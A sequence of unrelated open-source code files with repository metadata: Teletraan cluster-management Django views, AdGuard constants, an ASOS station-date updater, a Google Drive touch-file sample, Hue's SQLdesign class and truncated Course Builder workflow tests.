return render(request, 'clusters/placements.html', {
'placements': placements,
'provider_list': provider_list,
'pageIndex': index,
'pageSize': DEFAULT_PAGE_SIZE,
'disablePrevious': index <= 1,
'disableNext': len(placements) < DEFAULT_PAGE_SIZE,
})
def get_placements_by_provider(request):
params = request.GET
provider = params['provider']
curr_placement_arrays = None
if 'curr_placement' in params:
curr_placement = params['curr_placement']
curr_placement_arrays = curr_placement.split(',')
placements = placements_helper.get_by_provider(request, provider)
contents = render_to_string("clusters/get_placement.tmpl", {
'placements': placements,
'curr_placement_arrays': curr_placement_arrays,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def get_placement_infos(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
placements = placements_helper.get_all(request, index, size)
contents = render_to_string("clusters/get_placement_infos.tmpl", {
'placements': placements,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def parse_configs(query_dict):
configs = {}
for key, value in query_dict.iteritems():
if not value:
continue
if key.startswith('TELETRAAN_'):
name = key[len('TELETRAAN_'):]
configs[name] = value
return configs
def get_default_cmp_configs(name, stage):
config_map = {}
config_map['aws_role'] = 'base'
config_map['cmp_group'] = 'CMP,{}-{}'.format(name, stage)
config_map['pinfo_environment'] = 'prod'
config_map['pinfo_team'] = 'cloudeng'
config_map['pinfo_role'] = 'cmp_docker'
return config_map
def parse_cluster_info(request, env_name, env_stage, cluster_name):
params = request.POST
cluster_info = {}
cluster_info['capacity'] = params['capacity']
cluster_info['baseImageId'] = params['baseImageId']
cluster_info['provider'] = params['provider']
cluster_info['hostType'] = params['hostTypeId']
cluster_info['securityZone'] = params['securityZoneId']
cluster_info['placement'] = ",".join(params.getlist('placementId'))
# Update cluster name and isDocker in env
env_info = {}
env_info['clusterName'] = cluster_name
if 'isDocker' in params:
env_info['isDocker'] = True
else:
env_info['isDocker'] = False
environs_helper.update_env_basic_config(request, env_name, env_stage, data=env_info)
return cluster_info
# TODO merge cmp functions and templates
def create_cmp_cluster(request, name, stage):
params = request.POST
cluster_name = '{}-{}'.format(name, stage)
cluster_info = parse_cluster_info(request, name, stage, cluster_name)
config_map = get_default_cmp_configs(name, stage)
user_data_configs = parse_configs(params)
config_map.update(user_data_configs)
cluster_info['configs'] = config_map
clusters_helper.create_cluster(request, cluster_name, cluster_info)
# set up env and group relationship
environs_helper.add_env_capacity(request, name, stage, capacity_type="GROUP", data=cluster_name)
return get_cmp_cluster(request, name, stage)
def create_cluster(request, name, stage):
params = request.POST
cluster_name = '{}-{}'.format(name, stage)
cluster_name = cluster_name.lower()
cluster_info = parse_cluster_info(request, name, stage, cluster_name)
user_data_configs = parse_configs(params)
cluster_info['configs'] = user_data_configs
clusters_helper.create_cluster(request, cluster_name, cluster_info)
# set up env and group relationship
environs_helper.add_env_capacity(request, name, stage, capacity_type="GROUP", data=cluster_name)
return get_basic_cluster(request, name, stage)
def update_cmp_cluster(request, name, stage):
params = request.POST
cluster_name = common.get_cluster_name(request, name, stage)
cluster_info = parse_cluster_info(request, name, stage, cluster_name)
config_map = get_default_cmp_configs(name, stage)
user_data_configs = parse_configs(params)
config_map.update(user_data_configs)
cluster_info['configs'] = config_map
clusters_helper.update_cluster(request, cluster_name, cluster_info)
return get_cmp_cluster(request, name, stage)
def update_cluster(request, name, stage):
params = request.POST
cluster_name = common.get_cluster_name(request, name, stage)
cluster_info = parse_cluster_info(request, name, stage, cluster_name)
user_data_configs = parse_configs(params)
cluster_info['configs'] = user_data_configs
clusters_helper.update_cluster(request, cluster_name, cluster_info)
return get_basic_cluster(request, name, stage)
def get_new_cmp_cluster(request, name, stage):
envs = environs_helper.get_all_env_stages(request, name)
stages, env = common.get_all_stages(envs, stage)
provider_list = baseimages_helper.get_all_providers(request)
base_images = baseimages_helper.get_by_name(request, CMP_DOCKER_IMAGE)
html = render_to_string('clusters/cmp_cluster_creation.tmpl', {
'env': env,
'envs': envs,
'stages': stages,
'provider_list': provider_list,
'base_images': base_images,
'csrf_token': get_token(request),
})
return HttpResponse(json.dumps(html), content_type="application/json")
def get_cmp_cluster(request, name, stage):
envs = environs_helper.get_all_env_stages(request, name)
stages, env = common.get_all_stages(envs, stage)
provider_list = baseimages_helper.get_all_providers(request)
basic_cluster_info = clusters_helper.get_cluster(request, env.get('clusterName'))
base_images = baseimages_helper.get_by_name(request, CMP_DOCKER_IMAGE)
html = render_to_string('clusters/cmp_cluster.tmpl', {
'env': env,
'envs': envs,
'stages': stages,
'provider_list': provider_list,
'basic_cluster_info': basic_cluster_info,
'base_images': base_images,
'csrf_token': get_token(request),
})
return HttpResponse(json.dumps(html), content_type="application/json")
def get_basic_cluster(request, name, stage):
envs = environs_helper.get_all_env_stages(request, name)
stages, env = common.get_all_stages(envs, stage)
provider_list = baseimages_helper.get_all_providers(request)
basic_cluster_info = clusters_helper.get_cluster(request, env.get('clusterName'))
html = render_to_string('clusters/clusters.tmpl', {
'env': env,
'envs': envs,
'stages': stages,
'provider_list': provider_list,
'basic_cluster_info': basic_cluster_info,
'csrf_token': get_token(request),
})
return HttpResponse(json.dumps(html), content_type="application/json")
def get_cluster(request, name, stage):
envs = environs_helper.get_all_env_stages(request, name)
stages, env = common.get_all_stages(envs, stage)
provider_list = baseimages_helper.get_all_providers(request)
basic_cluster_info = clusters_helper.get_cluster(request, env.get('clusterName'))
adv = False
is_cmp = False
if basic_cluster_info:
base_image_id = basic_cluster_info.get('baseImageId')
base_image = baseimages_helper.get_by_id(request, base_image_id)
if base_image.get('abstract_name') != CMP_DOCKER_IMAGE:
adv = True
else:
is_cmp = True
params = request.GET
if params.get('adv'):
adv = params.get('adv')
return render(request, 'clusters/clusters.html', {
'env': env,
'envs': envs,
'stages': stages,
'provider_list': provider_list,
'basic_cluster_info': basic_cluster_info,
'adv': adv,
'is_cmp': is_cmp,
})
def delete_cluster(request, name, stage):
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.delete_cluster(request, cluster_name)
# Update isDocker and cluster name in
env_info = {}
env_info['clusterName'] = ''
env_info['isDocker'] = False
environs_helper.update_env_basic_config(request, name, stage, data=env_info)
# Remove group and env relationship
environs_helper.remove_env_capacity(request, name, stage, capacity_type="GROUP", data=cluster_name)
return redirect('/env/{}/{}/config/capacity/'.format(name, stage))
def get_aws_config_name_list_by_image(image_name):
config_map = {}
config_map['aws_role'] = 'base'
config_map['assign_public_ip'] = 'true'
if IS_PINTEREST:
config_map['pinfo_environment'] = 'prod'
config_map['raid'] = 'true'
config_map['raid_mount'] = '/mnt'
config_map['raid_device'] = '/dev/md0'
config_map['raid_fs'] = 'xfs'
config_map['ebs'] = 'true'
config_map['ebs_size'] = 500
config_map['ebs_mount'] = '/backup'
config_map['ebs_volume_type'] = 'gp2'
if image_name == CMP_DOCKER_IMAGE:
config_map['pinfo_role'] = 'cmp_docker'
config_map['pinfo_team'] = 'cloudeng'
else:
config_map['pinfo_role'] = ''
config_map['pinfo_team'] = ''
return config_map
def get_advanced_cluster(request):
params = request.GET
provider = params['provider']
name = params['env']
stage = params['stage']
image_name = params['image_name']
cluster_name = common.get_cluster_name(request, name, stage)
config_list = None
advanced_cluster_info = {}
if provider == PROVIDER_AWS:
config_list = get_aws_config_name_list_by_image(image_name)
basic_cluster_info = clusters_helper.get_cluster(request, cluster_name)
if not basic_cluster_info:
if image_name != CMP_DOCKER_IMAGE:
advanced_cluster_info['aws_role'] = 'base'
else:
advanced_cluster_info = get_default_cmp_configs(name, stage)
else:
if image_name != CMP_DOCKER_IMAGE:
advanced_cluster_info = basic_cluster_info.get('configs')
else:
cmp_configs = get_default_cmp_configs(name, stage)
advanced_cluster_info = basic_cluster_info.get('configs')
for key, value in cmp_configs.iteritems():
if advanced_cluster_info.get(key) == value:
advanced_cluster_info.pop(key)
contents = render_to_string('clusters/get_advanced_config.tmpl', {
'provider': provider,
'advanced_cluster_info': advanced_cluster_info,
'config_list': config_list,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def launch_hosts(request, name, stage):
params = request.POST
num = int(params['num'])
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.launch_hosts(request, cluster_name, num)
return redirect('/env/{}/{}/'.format(name, stage))
def terminate_hosts(request, name, stage):
get_params = request.GET
post_params = request.POST
host_ids = None
if 'host_id' in get_params:
host_ids = [get_params.get('host_id')]
if 'hostIds' in post_params:
hosts_str = post_params['hostIds']
host_ids = [x.strip() for x in hosts_str.split(',')]
environ_hosts_helper.stop_service_on_host(request, name, stage, host_ids)
return redirect('/env/{}/{}'.format(name, stage))
def force_terminate_hosts(request, name, stage):
get_params = request.GET
post_params = request.POST
host_ids = None
if 'host_id' in get_params:
host_ids = [get_params.get('host_id')]
if 'hostIds' in post_params:
hosts_str = post_params['hostIds']
host_ids = [x.strip() for x in hosts_str.split(',')]
if 'replaceHost' in post_params:
replace_host = True
else:
replace_host = False
cluster_name = common.get_cluster_name(request, name, stage)
if not cluster_name:
groups = environs_helper.get_env_capacity(request, name, stage, capacity_type="GROUP")
for group_name in groups:
cluster_name = group_name
clusters_helper.force_terminate_hosts(request, cluster_name, host_ids, replace_host)
return redirect('/env/{}/{}'.format(name, stage))
def enable_cluster_replacement(request, name, stage):
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.enable_cluster_replacement(request, cluster_name)
return redirect('/env/{}/{}/config/capacity/'.format(name, stage))
def pause_cluster_replacement(request, name, stage):
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.pause_cluster_replacement(request, cluster_name)
return redirect('/env/{}/{}/config/capacity/'.format(name, stage))
def resume_cluster_replacement(request, name, stage):
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.resume_cluster_replacement(request, cluster_name)
return redirect('/env/{}/{}/config/capacity/'.format(name, stage))
def cancel_cluster_replacement(request, name, stage):
cluster_name = common.get_cluster_name(request, name, stage)
clusters_helper.cancel_cluster_replacement(request, cluster_name)
return redirect('/env/{}/{}/config/capacity/'.format(name, stage))
| {
"content_hash": "53cda98d5f2d19b895fb849633f3854a",
"timestamp": "",
"source": "github",
"line_count": 598,
"max_line_length": 103,
"avg_line_length": 37.73411371237458,
"alnum_prop": 0.6603146465765566,
"repo_name": "yujunglo/teletraan",
"id": "7f1fea610702e448865cea4b62a09b3b74bc1bbd",
"size": "23145",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "deploy-board/deploy_board/webapp/cluster_view.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "CSS",
"bytes": "268204"
},
{
"name": "HTML",
"bytes": "283383"
},
{
"name": "Java",
"bytes": "984681"
},
{
"name": "JavaScript",
"bytes": "2758442"
},
{
"name": "Makefile",
"bytes": "184"
},
{
"name": "Python",
"bytes": "643516"
},
{
"name": "Ruby",
"bytes": "1001"
},
{
"name": "Shell",
"bytes": "16702"
}
],
"symlink_target": ""
} |
"""Constants for the AdGuard Home integration."""
import logging
DOMAIN = "adguard"
LOGGER = logging.getLogger(__package__)
DATA_ADGUARD_CLIENT = "adguard_client"
DATA_ADGUARD_VERSION = "adguard_version"
CONF_FORCE = "force"
SERVICE_ADD_URL = "add_url"
SERVICE_DISABLE_URL = "disable_url"
SERVICE_ENABLE_URL = "enable_url"
SERVICE_REFRESH = "refresh"
SERVICE_REMOVE_URL = "remove_url"
| {
"content_hash": "af33e05123030f4023a4eab63bf65c2e",
"timestamp": "",
"source": "github",
"line_count": 17,
"max_line_length": 49,
"avg_line_length": 22.941176470588236,
"alnum_prop": 0.7307692307692307,
"repo_name": "nkgilley/home-assistant",
"id": "a4ccde68539ad9df2355f05f5408f05c967a0862",
"size": "390",
"binary": false,
"copies": "3",
"ref": "refs/heads/dev",
"path": "homeassistant/components/adguard/const.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Dockerfile",
"bytes": "2963"
},
{
"name": "PLSQL",
"bytes": "840"
},
{
"name": "Python",
"bytes": "51597279"
},
{
"name": "Shell",
"bytes": "6252"
}
],
"symlink_target": ""
} |
"""Update metadata database with archive start for METAR sites.
Looks at the asos database and finds the first observation from a site.
"""
import sys
import datetime
from pyiem.network import Table as NetworkTable
from pyiem.util import get_dbconn, logger
LOG = logger()
def main(network):
"""GO!"""
basets = datetime.date.today()
asos = get_dbconn("asos")
acursor = asos.cursor()
mesosite = get_dbconn("mesosite")
mcursor = mesosite.cursor()
table = NetworkTable(network, only_online=False)
ids = list(table.sts.keys())
acursor.execute(
"SELECT station, min(date(valid)), max(date(valid)) from alldata "
"WHERE station in %s GROUP by station ORDER by min ASC",
(tuple(ids),),
)
for row in acursor:
station = row[0]
if table.sts[station]["archive_begin"] != row[1]:
LOG.warning(
"Updated %s STS WAS: %s NOW: %s",
station,
table.sts[station]["archive_begin"],
row[1],
)
mcursor.execute(
"UPDATE stations SET archive_begin = %s WHERE id = %s "
"and network = %s",
(row[1], station, network),
)
if mcursor.rowcount == 0:
LOG.warning("ERROR: No rows updated for %s", station)
# Site without data in past year is offline!
if (basets - row[2]).days > 365:
if table.sts[station]["archive_end"] != row[2]:
LOG.warning(
"Updated %s ETS WAS: %s NOW: %s",
station,
table.sts[station]["archive_end"],
row[2],
)
mcursor.execute(
"UPDATE stations SET archive_end = %s, online = 'f' "
"WHERE id = %s and network = %s",
(row[2], station, network),
)
# If it was offline and now is on, correct this
if (basets - row[2]).days < 365 and table.sts[station][
"archive_end"
] is not None:
LOG.warning(
"Updated %s ETS WAS: %s NOW: None" "",
station,
table.sts[station]["archive_end"],
)
mcursor.execute(
"UPDATE stations SET archive_end = null, online = 't' "
"WHERE id = %s and network = %s",
(station, network),
)
mcursor.close()
mesosite.commit()
mesosite.close()
if __name__ == "__main__":
main(sys.argv[1])
| {
"content_hash": "7e82365b61b3235f969e58f2edf25556",
"timestamp": "",
"source": "github",
"line_count": 87,
"max_line_length": 74,
"avg_line_length": 29.96551724137931,
"alnum_prop": 0.5005753739930955,
"repo_name": "akrherz/iem",
"id": "6cc586bcb6692d654bef7eb062e5f85dd8c6383b",
"size": "2607",
"binary": false,
"copies": "1",
"ref": "refs/heads/main",
"path": "scripts/dbutil/compute_asos_sts.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "16912"
},
{
"name": "HTML",
"bytes": "1092923"
},
{
"name": "Hack",
"bytes": "7078"
},
{
"name": "JavaScript",
"bytes": "244253"
},
{
"name": "PHP",
"bytes": "3492474"
},
{
"name": "Python",
"bytes": "3279270"
},
{
"name": "Rich Text Format",
"bytes": "30075"
},
{
"name": "Shell",
"bytes": "72284"
}
],
"symlink_target": ""
} |
"""
Copyright 2022 Google LLC
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
# [START drive_touch_file]
from __future__ import print_function
from datetime import datetime
import google.auth
from googleapiclient.discovery import build
from googleapiclient.errors import HttpError
def touch_file(real_file_id, real_timestamp):
"""Change the file's modification timestamp.
Args:
real_file_id: ID of the file to change modified time
real_timestamp: Timestamp to override Modified date time of the file
Returns : Modified Date and time.
Load pre-authorized user credentials from the environment.
TODO(developer) - See https://developers.google.com/identity
for guides on implementing OAuth2 for the application.
"""
creds, _ = google.auth.default()
try:
# create drive api client
service = build('drive', 'v3', credentials=creds)
file_metadata = {
'modifiedTime': datetime.utcnow().isoformat() + 'Z'
}
# pylint: disable=maybe-no-member
file_id = real_file_id
file_metadata['modifiedTime'] = real_timestamp
file = service.files().update(fileId=file_id, body=file_metadata,
fields='id, modifiedTime').execute()
print(F'Modified time: {file.get("modifiedTime")}')
except HttpError as error:
print(F'An error occurred: {error}')
file = None
return file.get('modifiedDate')
if __name__ == '__main__':
touch_file(real_file_id='17EqlSf7FpPU95SS00sICyVzQHpeET1cz',
real_timestamp='2022-03-02T05:43:27.504Z')
# [END drive_touch_file]
| {
"content_hash": "ebc75dc43bd802de146a18b0c9321c3b",
"timestamp": "",
"source": "github",
"line_count": 64,
"max_line_length": 76,
"avg_line_length": 33.3125,
"alnum_prop": 0.6857410881801126,
"repo_name": "googleworkspace/python-samples",
"id": "17478b92e5c8e36ad125e642faeb78aae7302d52",
"size": "2132",
"binary": false,
"copies": "2",
"ref": "refs/heads/main",
"path": "drive/snippets/drive-v3/file_snippet/touch_file.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Python",
"bytes": "401984"
}
],
"symlink_target": ""
} |
"""
The HQLdesign class can (de)serialize a design to/from a QueryDict.
"""
from builtins import object
import json
import logging
import sys
import django.http
from beeswax.design import normalize_form_dict, denormalize_form_dict, split_statements
from notebook.sql_utils import strip_trailing_semicolon
if sys.version_info[0] > 2:
from django.utils.translation import gettext as _
else:
from django.utils.translation import ugettext as _
LOG = logging.getLogger(__name__)
SERIALIZATION_VERSION = "0.0.1"
class SQLdesign(object):
"""
Represents an SQL design, with methods to perform (de)serialization.
"""
_QUERY_ATTRS = [ 'query', 'type', 'database', 'server' ]
def __init__(self, form=None, query_type=None):
"""Initialize the design from a valid form data."""
if form is not None:
self._data_dict = dict(query = normalize_form_dict(form, SQLdesign._QUERY_ATTRS))
if query_type is not None:
self._data_dict['query']['type'] = query_type
def dumps(self):
"""Returns the serialized form of the design in a string"""
dic = self._data_dict.copy()
dic['VERSION'] = SERIALIZATION_VERSION
return json.dumps(dic)
@property
def sql_query(self):
return self._data_dict['query']['query']
@property
def query(self):
return self._data_dict['query'].copy()
@property
def server(self):
return self._data_dict['query']['server']
@property
def database(self):
return self._data_dict['query']['database']
def get_query_dict(self):
# We construct the mform to use its structure and prefix. We don't actually bind data to the forms.
from beeswax.forms import QueryForm
mform = QueryForm()
mform.bind()
res = django.http.QueryDict('', mutable=True)
res.update(denormalize_form_dict(
self._data_dict['query'], mform.query, SQLdesign._QUERY_ATTRS))
return res
def get_query(self):
return self._data_dict["query"]
@property
def statement_count(self):
return len(self.statements)
def get_query_statement(self, n=0):
return self.statements[n]
@property
def statements(self):
sql_query = strip_trailing_semicolon(self.sql_query)
return [strip_trailing_semicolon(statement.strip()) for (start_row, start_col), (end_row, end_col), statement in split_statements(sql_query)]
@staticmethod
def loads(data):
"""Returns SQLdesign from the serialized form"""
dic = json.loads(data)
dic = dict([(str(k), dic.get(k)) for k in list(dic.keys())])
if dic['VERSION'] != SERIALIZATION_VERSION:
LOG.error('Design version mismatch. Found %s; expect %s' % (dic['VERSION'], SERIALIZATION_VERSION))
# Convert to latest version
del dic['VERSION']
if 'type' not in dic['query'] or dic['query']['type'] is None:
dic['query']['type'] = 0
if 'server' not in dic['query']:
raise RuntimeError(_('No server!'))
if 'database' not in dic['query']:
raise RuntimeError(_('No database!'))
design = SQLdesign()
design._data_dict = dic
return design | {
"content_hash": "6478f92b87daa7f7cc2053554258f618",
"timestamp": "",
"source": "github",
"line_count": 105,
"max_line_length": 145,
"avg_line_length": 29.142857142857142,
"alnum_prop": 0.6692810457516339,
"repo_name": "kawamon/hue",
"id": "ba1e7a2c89c5cc0165e22938adc118284f82f7da",
"size": "3852",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "desktop/libs/librdbms/src/librdbms/design.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "ABAP",
"bytes": "962"
},
{
"name": "ActionScript",
"bytes": "1133"
},
{
"name": "Ada",
"bytes": "99"
},
{
"name": "Assembly",
"bytes": "5786"
},
{
"name": "AutoHotkey",
"bytes": "720"
},
{
"name": "Batchfile",
"bytes": "118907"
},
{
"name": "C",
"bytes": "3196521"
},
{
"name": "C#",
"bytes": "83"
},
{
"name": "C++",
"bytes": "308860"
},
{
"name": "COBOL",
"bytes": "4"
},
{
"name": "CSS",
"bytes": "1050129"
},
{
"name": "Cirru",
"bytes": "520"
},
{
"name": "Clojure",
"bytes": "794"
},
{
"name": "CoffeeScript",
"bytes": "403"
},
{
"name": "ColdFusion",
"bytes": "86"
},
{
"name": "Common Lisp",
"bytes": "632"
},
{
"name": "D",
"bytes": "324"
},
{
"name": "Dart",
"bytes": "489"
},
{
"name": "Dockerfile",
"bytes": "10981"
},
{
"name": "Eiffel",
"bytes": "375"
},
{
"name": "Elixir",
"bytes": "692"
},
{
"name": "Elm",
"bytes": "487"
},
{
"name": "Emacs Lisp",
"bytes": "411907"
},
{
"name": "Erlang",
"bytes": "487"
},
{
"name": "Forth",
"bytes": "979"
},
{
"name": "FreeMarker",
"bytes": "1017"
},
{
"name": "G-code",
"bytes": "521"
},
{
"name": "GLSL",
"bytes": "512"
},
{
"name": "Genshi",
"bytes": "946"
},
{
"name": "Gherkin",
"bytes": "699"
},
{
"name": "Go",
"bytes": "7312"
},
{
"name": "Groovy",
"bytes": "1080"
},
{
"name": "HTML",
"bytes": "24999718"
},
{
"name": "Haskell",
"bytes": "512"
},
{
"name": "Haxe",
"bytes": "447"
},
{
"name": "HiveQL",
"bytes": "43"
},
{
"name": "Io",
"bytes": "140"
},
{
"name": "JSONiq",
"bytes": "4"
},
{
"name": "Java",
"bytes": "471854"
},
{
"name": "JavaScript",
"bytes": "28075556"
},
{
"name": "Julia",
"bytes": "210"
},
{
"name": "Jupyter Notebook",
"bytes": "73168"
},
{
"name": "LSL",
"bytes": "2080"
},
{
"name": "Lean",
"bytes": "213"
},
{
"name": "Lex",
"bytes": "264449"
},
{
"name": "Liquid",
"bytes": "1883"
},
{
"name": "LiveScript",
"bytes": "5747"
},
{
"name": "Lua",
"bytes": "78382"
},
{
"name": "M4",
"bytes": "1377"
},
{
"name": "MATLAB",
"bytes": "203"
},
{
"name": "Makefile",
"bytes": "269655"
},
{
"name": "Mako",
"bytes": "3614942"
},
{
"name": "Mask",
"bytes": "597"
},
{
"name": "Myghty",
"bytes": "936"
},
{
"name": "Nix",
"bytes": "2212"
},
{
"name": "OCaml",
"bytes": "539"
},
{
"name": "Objective-C",
"bytes": "2672"
},
{
"name": "OpenSCAD",
"bytes": "333"
},
{
"name": "PHP",
"bytes": "662"
},
{
"name": "PLSQL",
"bytes": "31565"
},
{
"name": "PLpgSQL",
"bytes": "6006"
},
{
"name": "Pascal",
"bytes": "1412"
},
{
"name": "Perl",
"bytes": "4327"
},
{
"name": "PigLatin",
"bytes": "371"
},
{
"name": "PowerShell",
"bytes": "3204"
},
{
"name": "Python",
"bytes": "76440000"
},
{
"name": "R",
"bytes": "2445"
},
{
"name": "Roff",
"bytes": "95764"
},
{
"name": "Ruby",
"bytes": "1098"
},
{
"name": "Rust",
"bytes": "495"
},
{
"name": "Scala",
"bytes": "1541"
},
{
"name": "Scheme",
"bytes": "559"
},
{
"name": "Shell",
"bytes": "190718"
},
{
"name": "Smarty",
"bytes": "130"
},
{
"name": "TSQL",
"bytes": "10013"
},
{
"name": "Tcl",
"bytes": "899"
},
{
"name": "TeX",
"bytes": "165743"
},
{
"name": "Thrift",
"bytes": "317058"
},
{
"name": "TypeScript",
"bytes": "1607"
},
{
"name": "VBA",
"bytes": "2884"
},
{
"name": "VBScript",
"bytes": "938"
},
{
"name": "VHDL",
"bytes": "830"
},
{
"name": "Vala",
"bytes": "485"
},
{
"name": "Verilog",
"bytes": "274"
},
{
"name": "Vim Snippet",
"bytes": "226931"
},
{
"name": "XQuery",
"bytes": "114"
},
{
"name": "XSLT",
"bytes": "521413"
},
{
"name": "Yacc",
"bytes": "2133855"
}
],
"symlink_target": ""
} |
"""Unit tests for the Workflow class in models.courses."""
__author__ = 'Sean Lip (sll@google.com)'
import unittest
from models.courses import LEGACY_HUMAN_GRADER_WORKFLOW
from models.courses import Workflow
import yaml
DATE_FORMAT_ERROR = (
'dates should be formatted as YYYY-MM-DD hh:mm (e.g. 1997-07-16 19:20) and '
'be specified in the UTC timezone.'
)
ERROR_HEADER = 'Error validating workflow specification: '
MISSING_KEYS_PREFIX = 'missing key(s) for a human-reviewed assessment:'
class DateTimeConversionTests(unittest.TestCase):
"""Unit tests for datetime conversion."""
def test_valid_datetime(self):
"""Valid datetimes should be converted without problems."""
workflow = Workflow('')
date_obj = workflow._convert_date_string_to_datetime('2012-03-21 12:30')
self.assertEqual(date_obj.year, 2012)
self.assertEqual(date_obj.month, 3)
self.assertEqual(date_obj.day, 21)
self.assertEqual(date_obj.hour, 12)
self.assertEqual(date_obj.minute, 30)
def test_invalid_datetime(self):
"""Valid datetimes should be converted without problems."""
invalid_date_strs = [
'abc', '2012-13-31 12:30', '2012-12-31T12:30',
'2012-13-31 12:30+0100']
workflow = Workflow('')
for date_str in invalid_date_strs:
with self.assertRaises(Exception):
workflow._convert_date_string_to_datetime(date_str)
def test_no_timezone_set(self):
"""Parsed date strings should contain no timezone information."""
workflow = Workflow('')
date_obj = workflow._convert_date_string_to_datetime('2012-03-21 12:30')
self.assertIsNone(date_obj.tzinfo)
class WorkflowValidationTests(unittest.TestCase):
"""Unit tests for workflow object validation."""
def setUp(self):
self.errors = []
self.valid_human_review_workflow_dict = yaml.safe_load(
LEGACY_HUMAN_GRADER_WORKFLOW)
def assert_matching_errors(self, expected, actual):
"""Prepend the error prefix to the error messages, then compare them."""
formatted_errors = []
for error in expected:
formatted_errors.append('%s%s' % (ERROR_HEADER, error))
self.assertEqual(formatted_errors, actual)
def to_yaml(self, adict):
"""Convert a dict to YAML."""
return yaml.safe_dump(adict)
def test_empty_string(self):
"""Validation should fail on an empty string."""
workflow = Workflow('')
workflow.validate(self.errors)
self.assert_matching_errors(['missing key: grader.'], self.errors)
def test_invalid_string(self):
"""Validation should fail for invalid YAML strings."""
workflow = Workflow('(')
workflow.validate(self.errors)
self.assertTrue(self.errors)
def test_not_dict(self):
"""Validation should fail for non-dict YAML strings."""
yaml_strs = ['- first\n- second', 'grader']
for yaml_str in yaml_strs:
self.errors = []
workflow = Workflow(yaml_str)
workflow.validate(self.errors)
self.assert_matching_errors(
['expected the YAML representation of a dict'], self.errors)
def test_missing_grader_key(self):
"""Validation should fail for missing grader key."""
workflow = Workflow(self.to_yaml({'not_grader': 'human'}))
workflow.validate(self.errors)
self.assert_matching_errors(['missing key: grader.'], self.errors)
def test_auto_grader(self):
"""Validation should pass for an auto-graded assessment."""
workflow = Workflow(self.to_yaml({'grader': 'auto'}))
workflow.validate(self.errors)
self.assertFalse(self.errors)
def test_invalid_human_grader(self):
"""Validation should fail for invalid human grading specifications."""
workflow = Workflow(self.to_yaml({'grader': 'human'}))
workflow.validate(self.errors)
self.assert_matching_errors([
'%s matcher, review_min_count, review_window_mins, '
'submission_due_date, review_due_date.' %
MISSING_KEYS_PREFIX], self.errors)
self.errors = []
workflow = Workflow(self.to_yaml(
{'grader': 'human', 'matcher': 'peer'}
))
workflow.validate(self.errors)
self.assert_matching_errors([
'%s review_min_count, review_window_mins, submission_due_date, '
'review_due_date.' % MISSING_KEYS_PREFIX], self.errors)
def test_invalid_review_min_count(self):
"""Validation should fail for bad review_min_count values."""
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['review_min_count'] = 'test_string'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['review_min_count should be an integer.'], self.errors)
self.errors = []
workflow_dict['review_min_count'] = -1
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['review_min_count should be a non-negative integer.'], self.errors)
self.errors = []
workflow_dict['review_min_count'] = 0
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assertFalse(self.errors)
def test_invalid_review_window_mins(self):
"""Validation should fail for bad review_window_mins values."""
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['review_window_mins'] = 'test_string'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['review_window_mins should be an integer.'], self.errors)
self.errors = []
workflow_dict['review_window_mins'] = -1
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['review_window_mins should be a non-negative integer.'],
self.errors)
self.errors = []
workflow_dict['review_window_mins'] = 0
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assertFalse(self.errors)
def test_invalid_date(self):
"""Validation should fail for invalid dates."""
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['submission_due_date'] = 'test_string'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors([DATE_FORMAT_ERROR], self.errors)
self.errors = []
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['review_due_date'] = 'test_string'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors([DATE_FORMAT_ERROR], self.errors)
def test_submission_date_after_review_date_fails(self):
"""Validation should fail if review date precedes submission date."""
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['submission_due_date'] = '2013-03-14 12:00'
workflow_dict['review_due_date'] = '2013-03-13 12:00'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['submission due date should be earlier than review due date.'],
self.errors)
def test_multiple_errors(self):
"""Validation should fail with multiple errors when appropriate."""
workflow_dict = self.valid_human_review_workflow_dict
workflow_dict['submission_due_date'] = '2013-03-14 12:00'
workflow_dict['review_due_date'] = '2013-03-13 12:00'
workflow_dict['review_window_mins'] = 'hello'
workflow = Workflow(self.to_yaml(workflow_dict))
workflow.validate(self.errors)
self.assert_matching_errors(
['review_window_mins should be an integer; submission due date '
'should be earlier than review due date.'],
self.errors)
def test_valid_human_grader(self):
"""Validation should pass for valid human grading specifications."""
workflow_dict = self.valid_human_review_workflow_dict
